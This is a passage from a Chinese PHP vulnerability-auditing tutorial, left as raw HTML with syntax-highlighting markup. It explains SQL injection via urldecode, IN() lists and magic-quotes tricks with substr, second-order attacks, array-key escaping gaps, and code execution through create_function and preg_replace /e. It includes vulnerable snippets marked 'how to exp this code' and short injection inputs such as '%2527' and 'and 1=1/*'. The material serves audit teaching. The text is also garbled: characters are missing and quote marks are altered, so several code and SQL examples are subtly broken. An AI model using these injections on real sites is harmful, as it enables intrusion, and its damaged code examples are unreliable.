/>漏洞审计策略（$_SERVER变量）<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：查找字符_SERVER<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />2) getenv()得到的变量（使用类似$_SERVER变量）<br />&nbsp;&nbsp; <br />+++++++++++++++++++++++++<br />漏洞审计策略（getenv()）<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：查找字符getenv<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />3) $HTTP_RAW_POST_DATA与PHP输入、输出流<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;主要应用与soap/xmlrpc/webpublish功能里，请看如下代码：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />if ( !isset( $HTTP_RAW_POST_DATA ) ) {<br />&nbsp;&nbsp; &nbsp;$HTTP_RAW_POST_DATA = file_get_contents( &quot;php://input&quot; );<br />}<br />if ( isset($HTTP_RAW_POST_DATA) )<br />&nbsp;&nbsp; &nbsp;$HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);<br />-------------------------------------------------------------------------------<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略（数据流）<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：查找字符HTTP_RAW_POST_DATA或者php://input<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />4) 数据库操作容易忘记&quot;的地方如：in()/limit/order by/group by<br />&nbsp;&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp;如Discuz!&lt;5.0的pm.php：<br />&nbsp;&nbsp; &nbsp; <br />--code-------------------------------------------------------------------------<br />if(is_array($msgtobuddys)) {<br />&nbsp;&nbsp; &nbsp;$msgto = array_merge($msgtobuddys, array($msgtoid));<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;......<br />foreach($msgto as $uid) {<br />&nbsp;&nbsp; &nbsp;$uids .= $comma.$uid;<br />&nbsp;&nbsp; &nbsp;$comma = &quot;,&quot;;<br />}<br />......<br />$query = $db-&gt;query(&quot;SELECT m.username, mf.ignorepm FROM {$tablepre}members m<br />&nbsp;&nbsp; &nbsp;LEFT JOIN {$tablepre}memberfields mf USING(uid)<br />&nbsp;&nbsp; &nbsp;WHERE m.uid IN ($uids)&quot;);<br />-------------------------------------------------------------------------------<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：查找数据库操作字符（select,update,insert等等）<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />5.3.3 变量的编码与解码<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;一个WEB程序很多功能的实现都需要变量的编码解码，而且就在这一转一解的传递过程中<br />就悄悄的绕过你的过滤的安全防线。<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;这个类型的主要函数有：<br />&nbsp;<br />1) stripslashes() 这个其实就是一个decode-addslashes()<br />&nbsp;<br />2) 其他字符串转换函数：<br />&nbsp;<br />base64_decode -- 对使用 MIME base64 编码的数据进行解码<br />base64_encode -- 使用 MIME base64 对数据进行编码<br />rawurldecode -- 对已编码的 URL 字符串进行解码<br />rawurlencode -- 按照 RFC 1738 对 URL 进行编码<br />urldecode -- 解码已编码的 URL 字符串<br />urlencode -- 编码 URL 字符串<br />&nbsp;......<br />（另外一个 unserialize/serialize）<br />&nbsp;<br />3) 字符集函数（GKB,UTF7/8...）如iconv()/mb_convert_encoding()等<br />&nbsp;&nbsp; &nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;目前很多漏洞挖掘者开始注意这一类型的漏洞了，如典型的urldecode：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />$sql = &quot;SELECT * FROM article WHERE articleid=&quot;&quot;.urldecode($_GET[id]).&quot;&quot;&quot;;<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;当magic_quotes_gpc=on时，我们提交?id=%2527，得到sql语句为：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />SELECT * FROM article WHERE articleid=&quot;&quot;&quot;<br />-------------------------------------------------------------------------------<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：查找对应的编码函数<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />5.3.4 二次攻击（详细见附录[1]）<br />&nbsp;<br />1) 数据库出来的变量没有进行过滤<br />&nbsp;<br />2) 数据库的转义符号：<br />&nbsp;<br />&nbsp; * mysql/oracle转义符号同样是\（我们提交&quot;通过魔术引号变化为\&quot;，当我们update进入数<br />据库时，通过转义变为&quot;）<br />&nbsp;<br />&nbsp; * mssql的转义字符为&quot;（所以我们提交&quot;通过魔术引号变化为\&quot;，mssql会把它当为一个字符<br />串直接处理，所以魔术引号对于mssql的注射没有任何意义）<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;从这里我们可以思考得到一个结论：一切进入函数的变量都是有害的，另外利用二次攻击<br />我们可以实现一个webrootkit，把我们的恶意构造直接放到数据库里。我们应当把这样的代<br />码看成一个vul？<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：通读代码<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />5.3.5 魔术引号带来的新的安全问题<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;首先我们看下魔术引号的处理机制：<br />&nbsp;<br />[\--&gt;\\,&quot;--&gt;\&quot;,&quot;--&gt;\&quot;,null--&gt;\0]<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;这给我们引进了一个非常有用的符号“\”，“\”符号不仅仅是转义符号，在WIN系统下也是<br />目录转跳的符号。这个特点可能导致php应用程序里产生非常有意思的漏洞：<br />&nbsp;<br />1) 得到原字符（&quot;,\,&quot;,null]）<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />$order_sn=substr($_GET[&quot;order_sn&quot;], 1);<br />&nbsp;<br />//提交&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;<br />//魔术引号处理&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\&quot;<br />//substr&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;<br />&nbsp;<br />$sql = &quot;SELECT order_id, order_status, shipping_status, pay_status, &quot;.<br />&nbsp;&nbsp; &quot; shipping_time, shipping_id, invoice_no, user_id &quot;.<br />&nbsp;&nbsp; &quot; FROM &quot; . $ecs-&gt;table(&quot;order_info&quot;).<br />&nbsp;&nbsp; &quot; WHERE order_sn = &quot;$order_sn&quot; LIMIT 1&quot;;<br />-------------------------------------------------------------------------------<br />&nbsp;<br />2) 得到“\”字符<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />$order_sn=substr($_GET[&quot;order_sn&quot;], 0,1);<br />&nbsp;<br />//提交&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;<br />//魔术引号处理&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\&quot;<br />//substr&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\&nbsp; &nbsp; <br />&nbsp;<br />$sql = &quot;SELECT order_id, order_status, shipping_status, pay_status, &quot;.<br />&nbsp;&nbsp; &quot; shipping_time, shipping_id, invoice_no, user_id &quot;.<br />&nbsp;&nbsp; &quot; FROM &quot; . $ecs-&gt;table(&quot;order_info&quot;).<br />&nbsp;&nbsp; &quot; WHERE order_sn = &quot;$order_sn&quot; and order_tn=&quot;&quot;.$_GET[&quot;order_tn&quot;].&quot;&quot;&quot;;<br />-------------------------------------------------------------------------------<br />&nbsp;&nbsp; <br />&nbsp;&nbsp; &nbsp;提交内容：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />?order_sn=&quot;&amp;order_tn=%20and%201=1/* <br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;执行的SQL语句为：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />SELECT order_id, order_status, shipping_status, pay_status, shipping_time, <br />shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = &quot;\&quot; and <br />order_tn=&quot; and 1=1/*&quot;<br />-------------------------------------------------------------------------------<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：查找字符串处理函数如substr或者通读代码<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />5.3.6 变量key与魔术引号<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;我们最在这一节的开头就提到了变量key，PHP的魔术引号对它有什么影响呢？<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//key.php?aaaa&quot;aaa=1&amp;bb&quot;b=2 </span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//print_R($_GET); </span><span style="color: Gray;"><br />&nbsp;</span><span style="color: Green;">foreach</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: #00008b;">$_GET</span><span style="color: Gray;"> </span><span style="color: Green;">AS</span><span style="color: Gray;"> </span><span style="color: #00008b;">$key</span><span style="color: Gray;"> =&gt; </span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: #00008b;">$key</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Blue;">?&gt;</span><span style="color: Gray;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />1) 当magic_quotes_gpc = On时，在php5.24下测试显示：<br />&nbsp; <br />aaaa\&quot;aaa<br />bb\&quot;b<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;从上面结果可以看出来，在设置了magic_quotes_gpc = On下，变量key受魔术引号影响。<br />但是在php4和php&lt;5.2.1的版本中，不处理数组第一维变量的key，测试代码如下：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//key.php?aaaa&quot;aaa[bb&quot;]=1 </span><span style="color: Gray;"><br /></span><span style="color: Blue;">print_R</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_GET</span><span style="color: Olive;">)</span><span style="color: Gray;">; <br /></span><span style="color: Blue;">?&gt;</span><span style="color: Gray;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;结果显示:<br />&nbsp;<br />Array ( [aaaa&quot;aaa] =&gt; Array ( [bb\&quot;] =&gt; 1 ) )&nbsp; &nbsp;<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;数组第一维变量的key不受魔术引号的影响。<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：php4和php&lt;5.2.1<br />系统要求：无<br />审计策略：通读代码<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />2) 当magic_quotes_gpc = Off时，在php5.24下测试显示：<br />&nbsp;<br />aaaa&quot;aaa<br />bb&quot;b<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;对于magic_quotes_gpc = Off时所有的变量都是不安全的，考虑到这个，很多程序都通过<br />addslashes等函数来实现魔术引号对变量的过滤，示例代码如下：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"> <br /></span><span style="color: #ffa500;">//keyvul.php?aaa&quot;aa=1&quot;</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//magic_quotes_gpc = Off</span><span style="color: Gray;"><br />&nbsp;</span><span style="color: Green;">if</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: Gray;">!</span><span style="color: Blue;">get_magic_quotes_gpc</span><span style="color: Olive;">())</span><span style="color: Gray;"><br /></span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;</span><span style="color: #00008b;">$_GET</span><span style="color: Gray;">&nbsp; = </span><span style="color: Blue;">addslashes_array</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_GET</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">addslashes_array</span><span style="color: Olive;">(</span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;"><br /></span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Blue;">is_array</span><span style="color: Olive;">(</span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;"> ? </span><span style="color: Blue;">array_map</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">addslashes_array</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">, </span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;"> : </span><span style="color: Blue;">addslashes</span><span style="color: Olive;">(</span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Blue;">print_R</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_GET</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Green;">foreach</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: #00008b;">$_GET</span><span style="color: Gray;"> </span><span style="color: Green;">AS</span><span style="color: Gray;"> </span><span style="color: #00008b;">$key</span><span style="color: Gray;"> =&gt; </span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;"><br /></span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: #00008b;">$key</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Blue;">?&gt;</span><span style="color: Gray;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;以上的代码看上去很完美，但是他这个代码里addslashes($value)只处理了变量的具体<br />的值，但是没有处理变量本身的key，上面的代码显示结果如下：<br />&nbsp; <br />Array<br />(<br />&nbsp;&nbsp; &nbsp;[aaa&quot;aa] =&gt; 1\&quot;<br />)<br />aaa&quot;aa<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：无 <br />系统要求：无<br />审计策略：通读代码<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />5.4 代码注射<br />&nbsp;<br />5.4.1 PHP中可能导致代码注射的函数<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;很多人都知道eval、preg_replace+/e可以执行代码，但是不知道php还有很多的函数可<br />以执行代码如：<br />&nbsp;<br />assert()<br />call_user_func()<br />call_user_func_array()<br />create_function()<br />变量函数<br />...<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;这里我们看看最近出现的几个关于create_function()代码执行漏洞的代码：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//how to exp this code</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$sort_by</span><span style="color: Gray;">=</span><span style="color: #00008b;">$_GET</span><span style="color: Olive;">[</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">sort_by</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">]</span><span style="color: Gray;">;<br /></span><span style="color: #00008b;">$sorter</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">strnatcasecmp</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br /></span><span style="color: #00008b;">$databases</span><span style="color: Gray;">=</span><span style="color: Green;">array</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">test</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">test</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: #00008b;">$sort_function</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">&nbsp; return 1 * </span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;"> . </span><span style="color: #00008b;">$sorter</span><span style="color: Gray;"> . </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">(</span><span style="color: #00008b;">$a</span><span style="color: Red;">[</span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Red;"> . </span><span style="color: #00008b;">$sort_by</span><span style="color: Red;"> . </span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Red;">], </span><span style="color: #00008b;">$b</span><span style="color: Red;">[</span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Red;"> . </span><span style="color: #00008b;">$sort_by</span><span style="color: Red;"> . </span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Red;">]);<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br /></span><span style="color: Blue;">usort</span><span style="color: Olive;">(</span><span style="color: #00008b;">$databases</span><span style="color: Gray;">, </span><span style="color: Blue;">create_function</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: #00008b;">$a</span><span style="color: Red;">, </span><span style="color: #00008b;">$b</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">, </span><span style="color: #00008b;">$sort_function</span><span style="color: Olive;">))</span><span style="color: Gray;">;<br />-------------------------------------------------------------------------------<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br /></span><span style="color: Blue;">PHP</span><span style="color: Gray;">本要求：无<br />系统要求：无<br />审计策略：查找对应函数（</span><span style="color: Blue;">assert</span><span style="color: Gray;">,</span><span style="color: Blue;">call_user_func</span><span style="color: Gray;">,</span><span style="color: Blue;">call_user_func_array</span><span style="color: Gray;">,</span><span style="color: Blue;">create_function</span><span style="color: Gray;">）<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br /></span><span style="color: Maroon;">5.4.2</span><span style="color: Gray;"> 变量函数与双引号<br />&nbsp;&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp;对于单引号和双引号的区别，很多程序员深有体会，示例代码：<br />&nbsp;<br />--</span><span style="color: Blue;">code</span><span style="color: Gray;">-------------------------------------------------------------------------<br /></span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #8b0000;">&quot;</span><span style="color: #00008b;">$a</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br /></span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #8b0000;">&quot;</span><span style="color: #00008b;">$a</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;我们再看如下代码：<br />&nbsp;<br />--</span><span style="color: Blue;">code</span><span style="color: Gray;">-------------------------------------------------------------------------<br /></span><span style="color: #ffa500;">//how to exp this code</span><span style="color: Gray;"><br /></span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: #00008b;">$globals</span><span style="color: Olive;">[</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">bbc_email</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">]){</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: #00008b;">$text</span><span style="color: Gray;"> = </span><span style="color: Blue;">preg_replace</span><span style="color: Olive;">(</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">array</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">/\[email=(.*?)\](.*?)\[\/email\]/ies</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">/\[email\](.*?)\[\/email\]/ies</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">,<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">array</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">check_email(</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">$</span><span style="color: Maroon;">1</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">, </span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">$</span><span style="color: Maroon;">2</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">)</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">check_email(</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">$</span><span style="color: Maroon;">1</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">, </span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">$</span><span style="color: Maroon;">1</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">)</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">, </span><span style="color: #00008b;">$text</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />-------------------------------------------------------------------------------<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;另外很多的应用程序都把变量用</span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Gray;">存放在缓存文件或者</span><span style="color: Blue;">config</span><span style="color: Gray;">者</span><span style="color: Blue;">data</span><span style="color: Gray;">件里，这样很<br />容易被人注射变量函数。<br />&nbsp;&nbsp; <br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br /></span><span style="color: Blue;">PHP</span><span style="color: Gray;">本要求：无<br />系统要求：无<br />审计策略：通读代码<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br /></span><span style="color: Maroon;">5.5</span><span style="color: Gray;"> </span><span style="color: Blue;">PHP</span><span style="color: Gray;">身函数漏洞及缺陷<br />&nbsp;&nbsp; &nbsp; <br /></span><span style="color: Maroon;">5.5.1</span><span style="color: Gray;"> </span><span style="color: Blue;">PHP</span><span style="color: Gray;">数的溢出漏洞<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;大家还记得</span><span style="color: Blue;">Stefan</span><span style="color: Gray;"> </span><span style="color: Blue;">Esser</span><span style="color: Gray;">牛的</span><span style="color: Blue;">Month</span><span style="color: Gray;"> </span><span style="color: Blue;">of</span><span style="color: Gray;"> </span><span style="color: Blue;">PHP</span><span style="color: Gray;"> </span><span style="color: Blue;">Bugs</span><span style="color: Gray;"></span><span style="color: Blue;">MOPB</span><span style="color: Gray;">附录</span><span style="color: Olive;">[</span><span style="color: Maroon;">2</span><span style="color: Olive;">]</span><span style="color: Gray;">）项目么，其中比较<br />有名的要算是</span><span style="color: Blue;">unserialize</span><span style="color: Olive;">()</span><span style="color: Gray;">，代码如下：<br />&nbsp;<br />--</span><span style="color: Blue;">code</span><span style="color: Gray;">-------------------------------------------------------------------------<br /></span><span style="color: Blue;">unserialize</span><span style="color: Olive;">(</span><span style="color: Blue;">stripslashes</span><span style="color: Olive;">(</span><span style="color: #00008b;">$HTTP_COOKIE_VARS</span><span style="color: Olive;">[</span><span style="color: #00008b;">$cookiename</span><span style="color: Gray;"> . </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">_data</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">])</span><span style="color: Gray;">;<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;在以往的</span><span style="color: Blue;">PHP</span><span style="color: Gray;">本里，很多函数都曾经出现过溢出漏洞，所以我们在审计应用程序漏洞的<br />时候不要忘记了测试目标使用的</span><span style="color: Blue;">PHP</span><span style="color: Gray;">本信息。<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br /></span><span style="color: Blue;">PHP</span><span style="color: Gray;">本要求：对应</span><span style="color: Blue;">fix</span><span style="color: Gray;">版本<br />系统要求：<br />审计策略：查找对应函数名<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br /></span><span style="color: Maroon;">5.5.2</span><span style="color: Gray;"> </span><span style="color: Blue;">PHP</span><span style="color: Gray;">数的其他漏洞<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Blue;">Stefan</span><span style="color: Gray;"> </span><span style="color: Blue;">Esser</span><span style="color: Gray;">牛发现的漏洞：</span><span style="color: Green;">unset</span><span style="color: Olive;">()</span><span style="color: Gray;">--</span><span style="color: Blue;">Zend_Hash_Del_Key_Or_Index</span><span style="color: Gray;"> </span><span style="color: Blue;">Vulnerability</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;比如</span><span style="color: Blue;">phpwind</span><span style="color: Gray;">期的</span><span style="color: Blue;">serarch</span><span style="color: Gray;">.</span><span style="color: Blue;">php</span><span style="color: Gray;">的代码：<br />&nbsp;<br />--</span><span style="color: Blue;">code</span><span style="color: Gray;">-------------------------------------------------------------------------<br /></span><span style="color: Green;">unset</span><span style="color: Olive;">(</span><span style="color: #00008b;">$uids</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />......<br /></span><span style="color: #00008b;">$query</span><span style="color: Gray;">=</span><span style="color: #00008b;">$db</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">query</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">SELECT uid FROM pw_members WHERE username LIKE </span><span style="color: #8b0000;">&quot;</span><span style="color: #00008b;">$pwuser</span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Green;">while</span><span style="color: Olive;">(</span><span style="color: #00008b;">$member</span><span style="color: Gray;">=</span><span style="color: #00008b;">$db</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">fetch_array</span><span style="color: Olive;">(</span><span style="color: #00008b;">$query</span><span style="color: Olive;">)){</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$uids</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$member</span><span style="color: Olive;">[</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">uid</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">]</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$uids</span><span style="color: Gray;"> ? </span><span style="color: #00008b;">$uids</span><span style="color: Gray;">=</span><span style="color: Blue;">substr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$uids</span><span style="color: Gray;">,</span><span style="color: Maroon;">0</span><span style="color: Gray;">,-</span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;"> : </span><span style="color: #00008b;">$sqlwhere</span><span style="color: Gray;">.=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;"> AND 0 </span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br />........<br /></span><span style="color: #00008b;">$query</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$db</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">query</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">SELECT DISTINCT t.tid FROM </span><span style="color: #00008b;">$sqltable</span><span style="color: Red;"> WHERE </span><span style="color: #00008b;">$sqlwhere</span><span style="color: Red;"> </span><span style="color: #00008b;">$orderby</span><span style="color: Red;"> </span><span style="color: #00008b;">$limit</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />-------------------------------------------------------------------------------<br />&nbsp;&nbsp; &nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br /></span><span style="color: Blue;">PHP</span><span style="color: Gray;">本要求：</span><span style="color: Blue;">php4</span><span style="color: Gray;">&lt;</span><span style="color: Maroon;">4.3</span><span style="color: Gray;"> </span><span style="color: Blue;">php5</span><span style="color: Gray;">&lt;</span><span style="color: 